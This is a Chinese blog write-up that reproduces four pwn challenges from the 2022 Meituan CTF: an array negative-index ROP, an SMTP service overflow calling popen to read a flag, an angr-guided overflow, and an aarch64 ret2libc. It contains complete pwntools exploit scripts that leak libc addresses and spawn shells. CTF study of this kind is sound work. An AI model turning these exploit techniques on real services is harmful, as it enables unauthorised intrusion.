2022年 第五届美团CTF Pwn题复现

2022-10-08
  1. 0x00:note
  2. 0x01:SMTP
  3. 0x02:捉迷藏
  4. 0x03:ret2libc_aarch64
  5. 0x04:题目附件

0x00:note

分析程序是一个菜单选择,其中Edit函数里面存在整数溢出:

pic01

但number为负数时,会对数组反方向的数据进行操作。

同时,checksec发现PIE和canary保护机制没有开启:

tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn $ checksec note
[*] '/home/tolele/CTFgame/2022MTCTF/pwn/note'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

那么,可以先试着对堆数组的下边(反方向)查看,看看有没有可利用的东西。

从IDA可得知:.text:0000000000401714 call Edit

我们可以在0x401714处断下,然后用si步入Edit函数,在继续si直到rsp/rbp布置好后,查看栈上的内容:

pic02

第一次先泄露出libc基址,第二次再进行getshell。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./note")
elf = ELF("./note")
libc = ELF("./libc-2.31.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x4017b3
main = 0x401679

def add(size, content):
    io.sendlineafter("5. leave", "1")
    io.sendlineafter("Size:", str(size))
    io.sendlineafter("Content:", content)

def edit(idx, content):
    io.sendlineafter("5. leave", "3")
    io.sendlineafter("Index: ", str(idx))
    io.sendlineafter("Content: ", content)
def debug():
    gdb.attach(io)
    pause()

payload = b'A'*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
edit(-6, payload)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym['puts']
print("@@@ libc_base = " + str(hex(libc_base)))

system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
ret = 0x40101a
payload = b'A'*8 + p64(ret) +  p64(pop_rdi_ret) + p64(binsh) + p64(system)
edit(-6, payload)
io.interactive()

0x01:SMTP

一道stmp的协议逆向题,程序比较大,先执行程序根据信息再进行分析。

// 执行程序充当服务端
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/smtp/docker/bin $ ./pwn
listener: waiting for connections...     //连接前就输出的信息
listener: got connection from 127.0.0.1  //以下为连接后输出的信息
listener: initiated a new session worker
session 5: starting work, state 0
|                          //等待客户端的请求...

// 连接,充当客户端
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/smtp/docker/bin $ nc 127.0.0.1 9999
220 SMTP tsmtp
|                          //等待输入请求...

有了这些信息后,接着静态分析程序:

// main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  if ( argc == 2 )
    listener((char *)argv[1]);
  listener("9999");           //不特定监听端口则默认9999
}

//listener函数
void __cdecl __noreturn listener(char *service)
{
  // ...略...
  puts("listener: waiting for connections...");  //等待连接(对应已获取的信息)
  epfd = epoll_create(16);
  event.data.fd = fd;
  event.events = 1;
  epoll_ctl(epfd, 1, fd, &event);
  events = (struct epoll_event *)calloc(0x10u, 0xCu);
  while ( 1 )
  {
    v12 = epoll_wait(epfd, events, 1, -1);
    for ( i = 0; i < v12; ++i )
    {
      if ( fd == events[i].data.fd )
      {
        addr_len = 128;
        v11 = accept(fd, &addr, &addr_len);
        v1 = (const void *)get_in_addr(&addr);
        inet_ntop(addr.sa_family, v1, buf, 0x2Eu);
        printf("listener: got connection from %s\n", buf); //连接
        arg = malloc(0x14u);
        *(_DWORD *)arg = v11;
        *((_DWORD *)arg + 1) = 0;
        pthread_create(&newthread, 0, (void *(*)(void *))session_worker, arg); //创建线程,去执行session_work函数
        puts("listener: initiated a new session worker");
      }
    }
  }
}

// session_worker函数
void *__cdecl session_worker(int *a1)
{
  // ...略...
  v35 = a1;
  fd = *a1;
  session_reset(a1);
  printf("session %d: starting work, state %d\n", fd, a1[1]);
  v1 = strlen(off_804D0A0[0]);
  send(fd, off_804D0A0[0], v1, 0);
  // ...略...
  while ( v35[1] != 5 )
  {
    v29 = epoll_wait(epfd, events, 1, timeout);
    if ( !v29 )
    {
      close(fd);
      printf("session %d: timeout, work is over\n", fd);
      break;
    }
    if ( v29 == 1 )
    {
      memset(s, 0, 0x400u);
      v28 = recv(fd, s, nmemb - 1, 0);   //接收到请求,赋给s
      if ( !v28 )
      {
        printf("session %d: client closed connection\n", fd);
        break;
      }
      if ( v28 < 0 )
      {
        printf("session %d: recv error\n", fd);
        break;
      }
      ptr = (void *)parse_request((char *)s);  //解析请求
      if ( v35[1] != 4 || *(_DWORD *)ptr == 4 )
      {
        if ( v35[1] == 4 && *(_DWORD *)ptr == 4 && strlen((const char *)s) > 3 )
        {
          if ( *(_DWORD *)(v35[4] + 8) )
          {
            v7 = strlen((const char *)s);
            v24 = v7 + strlen(*(const char **)(v35[4] + 8)) + 1;
            v23 = (char *)malloc(v24);
            v8 = strlen(*(const char **)(v35[4] + 8));
            strncpy(v23, *(const char **)(v35[4] + 8), v8 + 1);
            v9 = strlen((const char *)s);
            strncat(v23, (const char *)s, v9 - 5);
            v23[v24] = 0;
            free(*(void **)(v35[4] + 8));
            *(_DWORD *)(v35[4] + 8) = v23;
          }
          else
          {
            v6 = v35[4];
            *(_DWORD *)(v6 + 8) = strdup((const char *)s);
          }
          if ( *((_DWORD *)ptr + 1) )
            free(*((void **)ptr + 1));
        }
        switch ( *(_DWORD *)ptr )
        {
          case 0:       // HELO
            session_reset(v35);
            if ( !v35[1] )
            {
              v10 = strlen(server_replies[0]);
              send(fd, server_replies[0], v10, 0);
            }
            v35[1] = 1;
            v11 = strdup(*((const char **)ptr + 1));
            v35[3] = (int)v11;
            printf("session %d: state changed to greeted\n", fd);
            break;
          case 1:       // MAIL FROM:
            if ( v35[1] != 1 )
              goto LABEL_41;
            v35[1] = 2;
            v12 = (char **)v35[4];
            *v12 = strdup(*((const char **)ptr + 1));
            v13 = strlen(server_replies[0]);
            send(fd, server_replies[0], v13, 0);
            printf("session %d: got mail from\n", fd);
            break;
          case 2:       // RCPT TO:
            if ( v35[1] != 2 && v35[1] != 3 )
              goto LABEL_41;
            v35[1] = 3;
            v14 = v35[4];
            *(_DWORD *)(v14 + 4) = strdup(*((const char **)ptr + 1));// 重点
            v15 = strlen(server_replies[0]);
            send(fd, server_replies[0], v15, 0);
            printf("session %d: state changed to got receipients\n", fd);
            break;
          case 3:       // DATA
            if ( v35[1] != 3 )
              goto LABEL_41;
            v35[1] = 4;
            v16 = strlen(off_804D0A8[0]);
            send(fd, off_804D0A8[0], v16, 0);
            printf("session %d: state changed to data receival\n", fd);
            break;
          case 4:       // .\r\n
            if ( v35[1] == 4 )
            {
              session_submit(v35);
              session_reset(v35);
              v35[1] = 1;
              v17 = strlen(server_replies[0]);
              send(fd, server_replies[0], v17, 0);
              printf("session %d: data transaction over, state changed to greeted\n", fd);
            }
            else
            {
LABEL_41:
              v18 = strlen(off_804D0B0);
              send(fd, off_804D0B0, v18, 0);
            }
            break;
          case 5:
            v35[1] = 5;
            v19 = strlen(off_804D0AC[0]);
            send(fd, off_804D0AC[0], v19, 0);
            printf("session %d: state changed to quit\n", fd);
            break;
          default:
            v20 = strlen(off_804D0A4[0]);
            send(fd, off_804D0A4[0], v20, 0);
            printf("session %d: syntax error\n", fd);
            break;
        }
      }
      else
      {
       //...略...
      }
      free(ptr);
    }
  }
  free(s);
  free(a1);
  printf("session %d: finished\n", fd);
  close(fd);
  return 0;
}
// 请求解析函数,parse_request
_DWORD *__cdecl parse_request(char *s)
{
  char *argument_string_start; // [esp+4h] [ebp-14h]
  char *ptr; // [esp+8h] [ebp-10h]
  _DWORD *v4; // [esp+Ch] [ebp-Ch]

  v4 = malloc(8u);
  *v4 = get_session_command(s);
  if ( *v4 == -1 )
  {
    v4[1] = 0;
    return v4;
  }
  else
  {
    v4[1] = 0;
    ptr = strdup(s);
    argument_string_start = (char *)get_argument_string_start(ptr, *v4);
    if ( *argument_string_start )
      v4[1] = strdup(argument_string_start);
    free(ptr);
    return v4;
  }
}

// 对应的请求命令
int __cdecl get_session_command(char *s1)
{
  size_t v2; // eax

  if ( !strncmp(s1, "HELO", 4u) )
    return 0;
  if ( !strncmp(s1, "MAIL FROM:", 0xAu) )
    return 1;
  if ( !strncmp(s1, "RCPT TO:", 8u) )
    return 2;
  if ( !strncmp(s1, "DATA", 4u) )
    return 3;
  if ( !strncmp(s1, ".\r\n", 3u) )
    return 4;
  v2 = strlen(s1);
  if ( !strncmp(&s1[v2 - 5], "\r\n.\r\n", 5u) )
    return 4;
  if ( !strncmp(s1, "QUIT", 4u) )
    return 5;
  return -1;
}

通过对这几个case代码审计,发现漏洞存在case 4的session_submit函数中的sender_worker中。

// session_submit函数
int __cdecl session_submit(_DWORD *a1)
{
  pthread_t newthread[2]; // [esp+Ch] [ebp-Ch] BYREF

  printf("session %d: received message '%s'\n", *a1, *(const char **)(a1[4] + 8));
  printf("session %d: handing off message to sender\n", *a1);
  return pthread_create(newthread, 0, sender_worker, (void *)a1[4]);
}

// sender_worker函数
void *__cdecl sender_worker(const char **a1)
{
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  const char **v3; // [esp+10Ch] [ebp-Ch]

  puts("sender: starting work");
  v3 = a1;
  len = strlen(a1[1]);
  puts("sender: sending message....");
  printf("sender: FROM: %s\n", *a1);
  if ( strlen(*a1) <= 79 )
    strcpy(from, *v3);     //from:0x0804d140
  if ( len <= 0xFFu )   
  {
    printf("sender: TO: %s\n", v3[1]);
  }
  else
  {
    memset(s, 0, sizeof(s));
    strcpy(s, v3[1]);      //直接拷贝,存在溢出
    printf("sender: TO: %s\n", s);
  }
  puts("sender: BODY:");
  if ( v3[2] )
    printf("%s", v3[2]);
  else
    puts("No body.");
  putchar(10);
  puts("sender: finished");
  return 0;
}

现在知道了在sender_worker中,v3[1]会导致栈溢出。我们还需要知道v3[1]对应的是哪个命令的数据,我们可以逐函数反推。反推可得v3[1]是”RCPT TO:”后面接着的数据,但其需要最后处理.\r\n时才能触发。

popen函数可以执行任意可执行命令,我们可以在MAIL FROM:后添加数据,向bss段写入”cat flag >&5”,然后使用popen(“cat flag >&5”, “r”)读取flag。>&5是需要重定向,具体的值需要一个个试。

理论上:payload = b’a’ * 0x110 + p32(elf.plt[‘popen’]) + p32(0xdeadbeef) + p32(bss) + p32(read)

但执行过程发现crash了,调试发现,程序断在了这里:

pic03

原因是上一步把’aaaa’传给了eax,导致下个指令对一个无效地址进行访问,导致了SIGSEGV。所以我们需要在[ebp - 0xc]处给个有效地址。

from pwn import *
context(os='linux', arch='i386', log_level='debug')

io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")

io.sendlineafter(b'220 SMTP tsmtp', b'HELO')
io.sendlineafter(b'250 Ok', b'MAIL FROM:' + b'cat flag >&5')   # shellcode
read = elf.search(b'r\x00').__next__()
bss = 0x0804D140
payload = b'a' * 0x100 + p32(0x08049024) + b'a' * 0xc + p32(elf.plt['popen']) + p32(0xdeadbeef) + p32(bss) + p32(read)
io.sendlineafter(b'250 Ok', b'RCPT TO:' + payload)
io.sendlineafter(b'250 Ok', b'DATA' + b'bbbb')
io.sendline(b'.\r\n')
io.interactive()

0x02:捉迷藏

下面是程序的函数调用关系图,这样一看,倒不算是太复杂。但点进main函数一看,💩💩💩。

pic04

事后诸葛亮一波:

程序中给出了backdoor函数可以直接getshell,由于函数里面大量出现了input_val和input_line的输入函数,所以可以优先考虑简单的栈溢出。input_line函数会对局部变量进行输入,这么多变量,我们可以从靠近rbp一端的变量开始按顺序寻找,查看函数中哪里引用了变量。对着变量右键,Jump to xref,就可以查看哪里引用了该变量。

pic06

通过查找,发现了变量v341存在栈溢出:

pic07

我们首先通过angr找到能执行到该路径的符号变量,然后添加能执行getshell的约束,当符号变量满足时,发送数据去getshell(噢~这糟糕的表达🤧)。因为程序执行过程中fksthinput_lineinput_val函数会大量执行,且其内部含有循环,为了防止探索过程中路径爆炸,需要编写相应的hook函数对其替代。具体的hook函数见exp中的ReplacementCheckEqualsReplacementInputValReplacementCheckInput函数。至于文中state的unconstrained,个人理解是保存需要用户输入的路径。

本题的一个疑惑点是add_constraints函数具体做了什么?d = simgr.explore()之后,d.unconstrained是固定的了,那每个路径约束的符号变量会不会是多个呢?如果是单个的话,显然后面的添加的约束就没有意义了。还有就是添加的约束是要求对地址绝对的符合,如果符号变量的随机模拟的,岂不是相当于爆破?不过,执行exp很快就有结果了,个人猜测:某次检查符号变量不满足那两个约束后,下一次生成符号变量时,angr会不会有什么机制根据上一次的受阻约束来进行调整,从而生成满足这两个约束的符号变量。

看来还得深入了解~

# 来自toka师傅的exp
# ipython3 exp.py
from pwn import *
import angr
import claripy
import base64
ret_rop = 0x4013C8
 
r=process("./pwn")
 
p = angr.Project("./pwn")
 
def getBVV(state, sizeInBytes, type = 'str'):
    global pathConditions
    name = 's_' + str(state.globals['symbols_count'])
    bvs = claripy.BVS(name, sizeInBytes * 8)
    state.globals['symbols_count'] += 1
    state.globals[name] = (bvs, type)
    return bvs
 
def angr_load_str(state, addr):
    s, i = '', 0
    while True:
        ch = state.solver.eval(state.memory.load(addr + i, 1))
        if ch == 0: break
        s += chr(ch)
        i += 1
    return s
 
class ReplacementCheckEquals(angr.SimProcedure):
    def run(self, str1, str2):
        cmp1 = angr_load_str(self.state, str2).encode("ascii")
        cmp0 = self.state.memory.load(str1, len(cmp1))
        self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))
 
class ReplacementCheckInput(angr.SimProcedure):
    def run(self, buf, len):
        len = self.state.solver.eval(len)
        self.state.memory.store(buf, getBVV(self.state, len))
 
class ReplacementInputVal(angr.SimProcedure):
    def run(self):
        self.state.regs.rax = getBVV(self.state, 4, 'int') 
 
 
p.hook_symbol("fksth", ReplacementCheckEquals())
p.hook_symbol("input_line", ReplacementCheckInput())
p.hook_symbol("input_val", ReplacementInputVal())
 
enter = p.factory.entry_state()
enter.globals['symbols_count'] = 0
simgr = p.factory.simgr(enter, save_unconstrained=True)
d = simgr.explore()
backdoor = p.loader.find_symbol('backdoor').rebased_addr
for state in d.unconstrained:
    bindata = b''
    rsp = state.regs.rsp
    next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness)
    state.add_constraints(state.regs.rip == ret_rop)
    state.add_constraints(next_stack == backdoor)
    for i in range(state.globals['symbols_count']):
        s, s_type = state.globals['s_' + str(i)]
        if s_type == 'str':
            bb = state.solver.eval(s, cast_to=bytes)
            if bb.count(b'\x00') == len(bb):
                bb = b'A' * bb.count(b'\x00')
            bindata += bb
            print(bb)
        elif s_type == 'int':
            bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' '
            print(str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ')
    print(bindata)
    r.send(bindata)
    r.interactive()
    break

0x03:ret2libc_aarch64

tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/aarch $ checksec pwn
[*] '/home/tolele/CTFgame/2022MTCTF/pwn/aarch/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3f0000)

一道aarch64指令架构的题,具体的指令可以自行上网搜索。

用IDA进行静态分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [xsp+1Ch] [xbp+1Ch]

  init(argc, argv, envp);
  do
  {
    while ( 1 )
    {
      menu();
      v4 = get_int();
      if ( v4 == 3 )
        exit(0);
      if ( v4 != 1 )
        break;
      puts("sensible>>");
      leak();                                   // 泄露libc基址
    }
  }
  while ( v4 != 2 );
  puts("sensible>>");
  overflow();                                   // 栈溢出
  return 0;
}
// leak函数
__int64 leak()
{
  const char *buf; // [xsp+18h] [xbp+18h] BYREF

  buf = 0LL;
  read(0, &buf, 8uLL);
  return puts(buf);
}

leak函数只要输入puts_got,就可以直接泄露libc基址。不过要注意因为该架构下libc地址中有\x00字节产生截断,所以需要加上0x4000000000。


// overflow函数
__int64 overflow()
{
  char s[128]; // [xsp+10h] [xbp+10h] BYREF

  printf("> ");
  gets(s);
  puts("Your Input: \n");
  puts(s);
  return 0LL;
}

Leak完后会有个overflow函数用于ROP利用。这里我打算使用的gadget是libc里的这段,把/bin/sh的地址放入x0,system函数的地址放入x30,然后ret执行。

pic05

from pwn import *
context(os='linux', arch='aarch64', log_level='debug')

io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
puts_got =elf.got['puts']

io.sendlineafter("3.Exit.", "1")
io.sendafter("sensible>>\n", p64(puts_got))
libc_base = u64(io.recv(3).ljust(8, b'\x00')) + 0x4000000000 - libc.symbols['puts']
print("@@@ libc_base = " + str(hex(libc_base)))

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
gadget = libc_base + 0x63e5c
io.sendlineafter("3.Exit.", "2")
payload = b'A'*(128+8) + p64(gadget) + p64(0)*3 + p64(system) + p64(0) + p64(binsh)
io.sendlineafter("sensible>>", payload)
io.interactive()

在本地打的时候,一开始没打通,调试发现libc的基址竟然时0x55开头,将exp中的0x4000000000改成0x5500000000就好了。难道是环境没模拟好?🤔


0x04:题目附件

2022年第五届美团CTFpwn题附件:

链接:https://pan.baidu.com/s/1paNMlzjTSinRXG7adwxDQA
提取码:lele

返回首页